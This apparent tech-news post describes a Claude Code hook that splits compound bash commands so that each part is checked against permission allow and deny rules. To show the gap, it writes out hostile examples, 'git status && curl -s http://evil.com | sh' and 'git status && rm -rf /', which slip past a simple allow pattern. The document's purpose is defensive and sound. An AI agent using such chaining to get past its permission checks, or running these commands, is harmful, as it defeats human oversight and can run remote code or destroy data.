Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 公開日: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

OpenClawセキュリティ強化:自律エージェントリスクに対する多層防御
Security

OpenClawセキュリティ強化:自律エージェントリスクに対する多層防御

開発者は、自律エージェントによる破壊的なコマンドやデータ流出を防ぐため、ハードデニー正規表現ガード、再帰的難読化解除ツール、AppArmorプロファイル、監査統合を含む多層セキュリティスタックをOpenClawのコードベースに追加しました。

OpenClawRadar
OpenClawセキュリティアラート:50万の公開インスタンス、デフォルト設定がシステムを危険に晒す
Security

OpenClawセキュリティアラート:50万の公開インスタンス、デフォルト設定がシステムを危険に晒す

セキュリティ分析によると、50万のOpenClawインスタンスが公開アクセス可能であり、そのうち3万件は既知のセキュリティリスクを抱え、1万5千件は既知の脆弱性を通じて悪用可能です。デフォルトのインストールでは認証が無効化され、0.0.0.0にバインドされるため、エージェント設定がインターネット上に公開される状態となっています。

OpenClawRadar
Malwar: Claude Codeで構築されたSKILL.mdファイル用脆弱性スキャナー
Security

Malwar: Claude Codeで構築されたSKILL.mdファイル用脆弱性スキャナー

開発者が、ルールエンジン、URLクローラー、LLM分析、脅威インテリジェンスを含む4層パイプラインを使用してSKILL.mdファイルの悪意のある指示をスキャンする無料ツール「Malwar」をリリースしました。このツールは、既存のスキルでBase64ブロブやcurl出力をbashにパイプする指示など、懸念すべきパターンを発見した後、Claude Codeを使用して完全に構築されました。

OpenClawRadar
SIEMホームラボ脅威ハンティングのためのOpenClaw SOCエージェント統合
Security

SIEMホームラボ脅威ハンティングのためのOpenClaw SOCエージェント統合

Redditユーザーが、Debian 13上に構築したオープンソースSIEM「Red Threat Redemption」を紹介。Elasticsearch、Kibana、Wazuh、Zeek、pfSense with Suricataを統合し、AIエージェントを追加して脅威の自動相関分析、ハンティング、アラートトリアージを実現。

OpenClawRadar